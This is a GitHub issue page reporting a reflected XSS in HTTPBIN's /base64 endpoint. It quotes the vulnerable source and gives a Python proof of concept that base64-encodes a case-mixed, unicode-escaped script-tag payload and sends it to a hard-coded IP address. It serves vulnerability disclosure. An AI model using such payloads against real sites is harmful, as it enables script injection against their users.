Skip to content

XSS - /base64 #735

@NinjaGPT

Description

@NinjaGPT

Summary

In the latest version (v0.6.1) of HTTPBIN, the endpoint /base64 does not encode user-controllable parameters when outputting them on the current page, resulting in Reflected XSS. This allows attackers to launch XSS attacks against users.

Details

  • SINK / SOURCE
// httpbin-master/httpbin/core.py#L1291-L1312
1291: def decode_base64(value):
1292:     """Decodes base64url-encoded string.
1293:     ---
1294:     tags:
1295:       - Dynamic data
1296:     parameters:
1297:       - in: path
1298:         name: value
1299:         type: string
1300:         default: SFRUUEJJTiBpcyBhd2Vzb21l
1301:     produces:
1302:       - text/html
1303:     responses:
1304:       200:
1305:         description: Decoded base64 content.
1306:     """
1307:     encoded = value.encode("utf-8")  # base64 expects binary string as input
1308:     try:
1309:         return base64.urlsafe_b64decode(encoded).decode("utf-8")
1310:     except:
1311:         return "Incorrect Base64 data try: SFRUUEJJTiBpcyBhd2Vzb21l"
1312:

POC

import requests
from requests.sessions import Session
class CustomSession(Session):
    def request(
        self,
        method,
        url,
        params = None,
        data = None,
        headers = None,
        cookies = None,
        files = None,
        auth = None,
        timeout = None,
        allow_redirects = True,
        proxies = None,
        hooks = None,
        stream = None,
        verify = None,
        cert = None,
        json = None,
    ):
        arg_names = (
            'method', 'url', 'params', 'data', 'headers', 'cookies', 'files', 'auth', 'timeout',
            'allow_redirects', 'proxies', 'hooks', 'stream', 'verify', 'cert', 'json'
        )
        local_variables = locals()
        local_variables = {n: local_variables[n] for n in local_variables if n in arg_names}
        
        local_variables['headers'] = local_variables.get('headers') or dict()
        local_variables['headers'].update({'referer': 'http://35.233.133.2:40315/', 'User-Agent': 'oxpecker', 'accept-language': 'en-US', 'upgrade-insecure-requests': '1'})
        return super().request(**{n: local_variables[n] for n in local_variables if n in arg_names})
requests.sessions.Session = CustomSession
# ================================== Poc Start ===================================
import base64
import requests
target_url = 'http://35.233.133.2:40315/base64/'
payload = "<scrIPt>eval('\\u0061\\u006c\\u0065\\u0072\\u0074\\u0028\\u0022\\u007a\\u0061\\u0073\\u0074\\u002d\\u0078\\u0073\\u0073\\u0022\\u0029')</scRIpt>"
encoded_payload = base64.b64encode(payload.encode()).decode()
url_with_payload = f'{target_url}{encoded_payload}'
response = requests.get(url_with_payload, verify=False, allow_redirects=False)
print('Status Code:', response.status_code)
print('Text:', response.text)
# =================================== Poc End ====================================
Image

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions